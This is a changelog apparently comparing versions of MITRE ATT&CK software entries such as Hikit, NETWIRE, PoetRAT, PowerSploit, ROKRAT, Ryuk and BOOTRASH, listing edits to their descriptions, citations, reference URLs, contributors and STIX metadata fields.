| external_references[4]['source_name'] | Github PowerShell Empire | GitHub ATTACK Empire |
| external_references[4]['description'] | Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. | Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019. |
| external_references[4]['url'] | https://github.com/PowerShellEmpire/Empire | https://github.com/dstepanic/attck_empire |
| external_references[5]['source_name'] | GitHub ATTACK Empire | NCSC Joint Report Public Tools |
| external_references[5]['description'] | Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019. | The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019. |
| external_references[5]['url'] | https://github.com/dstepanic/attck_empire | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| x_mitre_version | 1.1 | 1.4 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware | t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware |
| > | that has been used by [Axiom](https://attack.mitre.org/group | > | that has been used by [Axiom](https://attack.mitre.org/group | ||
| > | s/G0001) for late-stage persistence and exfiltration after t | > | s/G0001) for late-stage persistence and exfiltration after t | ||
| > | he initial compromise. (Citation: Novetta-Axiom) (Citation: | > | he initial compromise.(Citation: Novetta-Axiom)(Citation: Fi | ||
| > | FireEye Hikit Rootkit) | > | reEye Hikit Rootkit) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 20:37:29.986000+00:00 | 2022-01-12 16:21:44.692000+00:00 |
| description | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom) (Citation: FireEye Hikit Rootkit) | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit) |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 15:47:20.122000+00:00 | 2021-10-15 16:56:52.156000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.5
Version changed from: 1.2 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:04:12.674000+00:00 | 2022-04-12 18:59:55.116000+00:00 |
| x_mitre_version | 1.2 | 1.5 |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ | t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ |
| > | icly available, multiplatform remote administration tool (RA | > | icly available, multiplatform remote administration tool (RA | ||
| > | T) that has been used by criminal and APT groups since at le | > | T) that has been used by criminal and APT groups since at le | ||
| > | ast 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McA | > | ast 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfe | ||
| > | fee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept | > | e Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 201 | ||
| > | 2017) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Tony Lambert, Red Canary'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:42:49.250000+00:00 | 2021-10-12 11:21:09.567000+00:00 |
| description | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017) | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017) |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i | t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i |
| > | s a component of the Windows operating system. It is used in | > | s a component of the Windows operating system. It is used in | ||
| > | command-line operations for control of users, groups, servi | > | command-line operations for control of users, groups, servi | ||
| > | ces, and network connections. (Citation: Microsoft Net Utili | > | ces, and network connections. (Citation: Microsoft Net Utili | ||
| > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | ||
| > | eat deal of functionality, (Citation: Savill 1999) much of w | > | eat deal of functionality, (Citation: Savill 1999) much of w | ||
| > | hich is useful for an adversary, such as gathering system an | > | hich is useful for an adversary, such as gathering system an | ||
| > | d network information for Discovery, moving laterally throug | > | d network information for Discovery, moving laterally throug | ||
| > | h [Windows Admin Shares](https://attack.mitre.org/techniques | > | h [SMB/Windows Admin Shares](https://attack.mitre.org/techni | ||
| > | /T1077) using <code>net use</code> commands, and interacting | > | ques/T1021/002) using <code>net use</code> commands, and int | ||
| > | with services. The net1.exe utility is executed for certain | > | eracting with services. The net1.exe utility is executed for | ||
| > | functionality when net.exe is run and can be used directly | > | certain functionality when net.exe is run and can be used d | ||
| > | in commands such as <code>net1 user</code>. | > | irectly in commands such as <code>net1 user</code>. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 13:14:50.240000+00:00 | 2021-10-15 20:33:54.392000+00:00 |
| description | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. |
| x_mitre_version | 2.1 | 2.3 |
Current version: 2.2
Version changed from: 1.2 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) | t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) |
| > | is a MacOS backdoor that has been used by [APT32](https://at | > | is a MacOS backdoor with several variants that has been used | ||
| > | tack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS Apr | > | by [APT32](https://attack.mitre.org/groups/G0050).(Citation | ||
| > | il 2018) | > | : TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS B | ||
| > | ackdoor November 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:11:11.730000+00:00 | 2022-01-14 21:53:00.543000+00:00 |
| description | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018) | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020) |
| external_references[2]['source_name'] | TrendMicro MacOS April 2018 | Backdoor.MacOS.OCEANLOTUS.F |
| external_references[2]['description'] | Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018. | (Citation: Trend Micro MacOS Backdoor November 2020) |
| x_mitre_version | 1.2 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro MacOS April 2018', 'description': 'Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/'} | |
| external_references | {'source_name': 'Trend Micro MacOS Backdoor November 2020', 'description': 'Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.', 'url': 'https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html'} | |
| x_mitre_aliases | Backdoor.MacOS.OCEANLOTUS.F |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a Pyth | t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a remo |
| > | on-based remote access trojan (RAT) used in multiple campaig | > | te access trojan (RAT) that was first identified in April 20 | ||
| > | ns against the private and public sectors in Azerbaijan, spe | > | 20. [PoetRAT](https://attack.mitre.org/software/S0428) has b | ||
| > | cifically ICS and SCADA systems in the energy sector. [PoetR | > | een used in multiple campaigns against the private and publi | ||
| > | AT](https://attack.mitre.org/software/S0428) derived its nam | > | c sectors in Azerbaijan, including ICS and SCADA systems in | ||
| > | e from references in the code to poet William Shakespeare.(C | > | the energy sector. The STIBNITE activity group has been obse | ||
| > | itation: Talos PoetRAT April 2020) | > | rved using the malware. [PoetRAT](https://attack.mitre.org/s | ||
| > | oftware/S0428) derived its name from references in the code | ||||
| > | to poet William Shakespeare. (Citation: Talos PoetRAT April | ||||
| > | 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos | ||||
| > | Threat Report 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-30 18:13:47.841000+00:00 | 2022-04-19 01:41:29.396000+00:00 |
| description | [PoetRAT](https://attack.mitre.org/software/S0428) is a Python-based remote access trojan (RAT) used in multiple campaigns against the private and public sectors in Azerbaijan, specifically ICS and SCADA systems in the energy sector. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare.(Citation: Talos PoetRAT April 2020) | [PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020) |
| external_references[1]['source_name'] | Talos PoetRAT April 2020 | Dragos Threat Report 2020 |
| external_references[1]['description'] | Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020. | Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html | https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770 |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos PoetRAT April 2020', 'description': 'Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.', 'url': 'https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html'} | |
| external_references | {'source_name': 'Talos PoetRAT October 2020', 'description': 'Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.', 'url': 'https://blog.talosintelligence.com/2020/10/poetrat-update.html'} |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an | t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an |
| > | open source, offensive security framework comprised of [Pow | > | open source, offensive security framework comprised of [Pow | ||
| > | erShell](https://attack.mitre.org/techniques/T1086) modules | > | erShell](https://attack.mitre.org/techniques/T1059/001) modu | ||
| > | and scripts that perform a wide range of tasks related to pe | > | les and scripts that perform a wide range of tasks related t | ||
| > | netration testing such as code execution, persistence, bypas | > | o penetration testing such as code execution, persistence, b | ||
| > | sing anti-virus, recon, and exfiltration. (Citation: GitHub | > | ypassing anti-virus, recon, and exfiltration. (Citation: Git | ||
| > | PowerSploit May 2012) (Citation: PowerShellMagazine PowerSpl | > | Hub PowerSploit May 2012) (Citation: PowerShellMagazine Powe | ||
| > | oit July 2014) (Citation: PowerSploit Documentation) | > | rSploit July 2014) (Citation: PowerSploit Documentation) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:37:30.172000+00:00 | 2021-10-05 01:24:41.497000+00:00 |
| description | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) |
| x_mitre_version | 1.2 | 1.4 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:39:15.210000+00:00 | 2022-04-06 19:52:07.165000+00:00 |
| external_references[2]['description'] | (Citation: TrendMicro Patchwork Dec 2017) | (Citation: TrendMicro Patchwork Dec 2017)(Citation: Securelist APT10 March 2021) |
| external_references[3]['source_name'] | GitHub QuasarRAT | Securelist APT10 March 2021 |
| external_references[3]['description'] | MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. | GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021. |
| external_references[3]['url'] | https://github.com/quasar/QuasarRAT | https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/ |
| external_references[4]['source_name'] | Volexity Patchwork June 2018 | TrendMicro Patchwork Dec 2017 |
| external_references[4]['description'] | Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. | Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. |
| external_references[4]['url'] | https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/ | https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
| external_references[5]['source_name'] | TrendMicro Patchwork Dec 2017 | GitHub QuasarRAT |
| external_references[5]['description'] | Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. | MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. |
| external_references[5]['url'] | https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf | https://github.com/quasar/QuasarRAT |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Volexity Patchwork June 2018', 'description': 'Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.', 'url': 'https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/'} |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud | t | 1 | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud |
| > | -based remote access tool (RAT) used by [APT37](https://atta | > | -based remote access tool (RAT) used by [APT37](https://atta | ||
| > | ck.mitre.org/groups/G0067). This software has been used to t | > | ck.mitre.org/groups/G0067) to target victims in South Korea. | ||
| > | arget victims in South Korea. [APT37](https://attack.mitre.o | > | [APT37](https://attack.mitre.org/groups/G0067) has used ROK | ||
| > | rg/groups/G0067) used ROKRAT during several campaigns in 201 | > | RAT during several campaigns from 2016 through 2021.(Citatio | ||
| > | 6 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Gr | > | n: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexit | ||
| > | oup123) | > | y InkySquid RokRAT August 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:07:02.274000+00:00 | 2022-03-30 20:40:21.212000+00:00 |
| description | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123) | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021) |
| external_references[4]['source_name'] | Talos ROKRAT 2 | Volexity InkySquid RokRAT August 2021 |
| external_references[4]['description'] | Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018. | Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021. |
| external_references[4]['url'] | https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html | https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/ |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos ROKRAT 2', 'description': 'Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html'} |
Current version: 1.3
Version changed from: 1.0 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 21:37:40.600000+00:00 | 2022-03-26 13:13:19.978000+00:00 |
| external_references[1]['source_name'] | CrowdStrike Ryuk January 2019 | Ryuk |
| external_references[1]['description'] | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | FireEye Ryuk and Trickbot January 2019 | CrowdStrike Ryuk January 2019 |
| external_references[2]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| external_references[3]['source_name'] | FireEye FIN6 Apr 2019 | FireEye Ryuk and Trickbot January 2019 |
| external_references[3]['description'] | McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019. | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html |
| x_mitre_version | 1.0 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} | |
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 17:54:53.991000+00:00 | 2021-12-15 20:56:24.628000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:22:52.183000+00:00 | 2021-06-21 12:32:12.581000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:22:05.356000+00:00 | 2021-02-09 14:06:12.720000+00:00 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo | t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that targe | > | otkit](https://attack.mitre.org/techniques/T1542/003) that t | ||
| > | ts Windows operating systems. It has been used by threat act | > | argets Windows operating systems. It has been used by threat | ||
| > | ors that target the financial sector.(Citation: Mandiant M T | > | actors that target the financial sector.(Citation: Mandiant | ||
| > | rends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BO | > | M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEy | ||
| > | OTRASH SANS) | > | e BOOTRASH SANS) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 01:35:30.160000+00:00 | 2021-06-09 18:58:41.760000+00:00 |
| description | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [BS2005](https://attack.mitre.org/software/S0014) is malware | t | 1 | [BS2005](https://attack.mitre.org/software/S0014) is malware |
| > | that was used by [Ke3chang](https://attack.mitre.org/groups | > | that was used by [Ke3chang](https://attack.mitre.org/groups | ||
| > | /G0004) in spearphishing campaigns since at least 2011. (Cit | > | /G0004) in spearphishing campaigns since at least 2011. (Cit | ||
| > | ation: Villeneuve et al 2014) | > | ation: Mandiant Operation Ke3chang November 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:02:35.427000+00:00 | 2021-11-01 21:12:14.638000+00:00 |
